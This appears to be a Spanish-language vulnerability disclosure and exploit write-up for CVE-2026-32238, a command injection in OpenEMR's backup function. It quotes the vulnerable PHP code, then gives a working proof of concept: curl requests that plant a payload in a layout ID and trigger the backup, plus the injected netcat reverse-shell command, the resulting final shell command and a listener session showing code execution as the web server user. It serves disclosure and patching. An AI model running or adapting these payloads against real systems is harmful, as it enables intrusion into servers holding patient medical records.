## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHRISSUB08-CVE-2026-32238_REMOTECODEEXECUTIONOPENEMR8.0.0
# CVE-2026-32238 - Ejecución remota de código en OpenEMR <8.0.0.2
> Debilidad CWE-78 : Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo')
>
>> El producto construye todo o parte de un comando del sistema operativo utilizando entradas influenciadas externamente desde un componente upstream, pero no neutraliza o neutraliza incorrectamente los elementos especiales que podrÃan modificar el comando del sistema operativo previsto cuando se envÃa a un componente downstream.
### Resumen
OpenEMR <8.0.0.1 contiene múltiples vulnerabilidades de inyección de comandos en la funcionalidad de respaldo que pueden ser explotadas por atacantes autenticados. La vulnerabilidad existe debido a una validación de entrada insuficiente en la funcionalidad de respaldo.
### Detalles
La vulnerabilidad se produce en la funcionalidad de respaldo donde múltiples _ID_ se escapan a nivel SQL en una sentencia SQL incrustada dentro del comando del sistema operativo, pero no se escapan a nivel de shell.
Esos valores _ID_ se consideran _confiables_ después de verificar que las entradas proporcionadas por el usuario existen en la base de datos.
El usuario puede insertar cualquier valor en esas columnas SQL _ID_ que se concatenan al comando shell.
Resumen: ciertos comandos shell concatenan entradas proporcionadas por el usuario sin la sanitización adecuada, lo que puede provocar vulnerabilidades de inyección de comandos. Esto permite a los atacantes inyectar comandos maliciosos del sistema operativo.
La vulnerabilidad afecta a las siguientes lÃneas:
* `interface/main/backup.php` lines 775, 776, 784, 786, 788 and 789 vulnerabilidades
* `interface/main/backup.php` line 768, comprueba que el valor existe.
* `interface/main/backup.php` line 763, comprueba que el valor no contiene _backtick_.
* `interface/main/backup.php` line 761, bucle para cada valor.
* `interface/main/backup.php` line 742, obtiene los valores de los datos POST.
* `interface/main/backup.php` line 816, 818, 822, 824, 828, 831, 835 and 838 vulnerabilidades
* `interface/main/backup.php` line 807 and 808, comprueba que el valor existe.
* `interface/main/backup.php` line 802, comprueba que el valor no contiene _backtick_.
* `interface/main/backup.php` line 800, bucle para cada valor de los datos POST.
Para explotar estas vulnerabilidades, la carga útil debe almacenarse en: `list_options.option_id`, `list_options.list_id`, `layout_options.form_id` o `layout_group_properties.grp_form_id`.
root@kitploit:~
if (!empty($form_sel_lists)) {
foreach ($form_sel_lists as $listid) {
if (str_contains((string) $listid, '`')) {
continue;
}
$listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
if (empty($listid_check['list_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
"ORDER BY list_id != 'lists', seq, title\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
"echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
$dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\" OR list_id = \"" .
add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
" >> " . escapeshellarg($EXPORT_FILE) . ";";
}
}
}
if (is_array($_POST['form_sel_layouts'] ?? '')) {
$do_history_repair = false;
$do_demographics_repair = false;
foreach ($_POST['form_sel_layouts'] as $layoutid) {
if (str_contains((string) $layoutid, '`')) {
continue;
}
$layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
$layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
} else {
$cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" ' .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
$cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (str_starts_with((string) $layoutid, 'HIS')) {
$do_history_repair = true;
}
if (str_starts_with((string) $layoutid, 'DEM')) {
$do_demographics_repair = true;
}
}
root@kitploit:~
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "<injection>";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "<injection>";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "<injection>"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "<injection>" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
#### Permisos
root@kitploit:~
if (!AclMain::aclCheckCore('admin', 'super')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
exit;
}
### PoC
Para esta POC utilizo la columna `layout_group_properties.grp_form_id`:
1. Inserta la carga útil en `layout_group_properties.grp_form_id`
2. Llama a la funcionalidad de respaldo utilizando la misma carga útil
root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'
┌──(kali㉿kali)-[~]
└─$
#### Base de datos
root@kitploit:~
MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
+--------------------------------+--------------+
| grp_form_id | grp_group_id |
+--------------------------------+--------------+
| DEM | |
| DEM | 1 |
| DEM | 2 |
| DEM | 3 |
| DEM | 4 |
| DEM | 5 |
| DEM | 6 |
| DEM | 8 |
| FACUSR | |
| FACUSR | 1 |
| HIS | |
| HIS | 1 |
| HIS | 2 |
| HIS | 3 |
| HIS | 4 |
| HIS | 5 |
| LBF"';nc 172.18.0.1 21 -e sh # | 11 |
| LBTbill | |
| LBTbill | 1 |
| LBTlegal | |
| LBTlegal | 1 |
| LBTphreq | |
| LBTphreq | 1 |
| LBTptreq | |
| LBTptreq | 1 |
| LBTref | |
| LBTref | 1 |
| LBTref | 2 |
+--------------------------------+--------------+
28 rows in set (0.003 sec)
MariaDB [openemr]>
#### Carga útil de reverse shell
root@kitploit:~
nc 172.18.0.1 21 -e sh
##### Inyección
root@kitploit:~
LBF"';nc 172.18.0.1 21 -e sh #
##### Comando final
root@kitploit:~
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
##### Herramientas
No sé si netcat (`nc`) es necesario, pero está instalado por defecto en el contenedor docker (es muy útil para este exploit).
##### Usuario y directorio actual
root@kitploit:~
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 21
listening on [any] 21 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
whoami
apache
id
uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
pwd
/var/www/localhost/htdocs/openemr/interface/main
### Impacto
* Ejecución de código en el lado del servidor
### Proceso de corrección de la vulnerabilidad
1. Evaluar y validar la vulnerabilidad
2. Solicitar o asignar un ID de CVE
3. Crear un fork o una rama privada
4. Desarrollar la corrección
5. Escribir pruebas de regresión y de seguridad
6. Preparar las notas de la versión y el borrador del aviso de seguridad
7. Publicar la corrección (fusión de código) y lanzar una versión parcheada
8. Divulgar públicamente la vulnerabilidad
### Créditos
* Investigador: Christophe SUBLET
* Organización: Grenoble INP - Esisar, UGA
* Proyecto: CyberSkills, Orion